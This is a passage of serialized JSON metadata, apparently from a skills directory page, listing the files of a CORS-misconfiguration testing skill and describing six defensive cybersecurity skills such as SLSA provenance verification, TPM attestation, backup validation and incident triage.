testing-cors-misconfiguration","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-cors-misconfiguration\u002FSKILL.md",true,[91,96,102],{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-cors-misconfiguration\u002FLICENSE",{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"references\u002Fapi-reference.md","REFERENCE","参考文档",2188,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-cors-misconfiguration\u002Freferences\u002Fapi-reference.md",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"scripts\u002Fagent.py","SCRIPT","脚本",8804,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-cors-misconfiguration\u002Fscripts\u002Fagent.py",[109,134,157,182,207,234],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":116,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[115],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[117,118,119,120,46,44,121,122,42,123,124,125,126,127,128,129,130,131,132,133],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":141,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[140],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[142,130,143,144,46,45,44,42,145,146,147,148,149,150,151,152,153,154,155,156],"boot","TPM","validating tpm measured boot attestation","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":165,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[163,164],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[151,166,167,168,29,44,169,170,145,171,172,173,174,175,176,177,178,179,180,181],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":189,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[188],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[190,191,192,44,193,194,195,196,197,198,199,40,200,201,202,203,148,204,205,206],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":208,"name":209,"nameZh":6,"description":210,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":211,"categories":212,"keywords":214,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[213],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[215,216,217,44,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[240],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,242,44,243,244,245,246,247,248,249,250,177,251,178,252,253,254,255,256,257],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]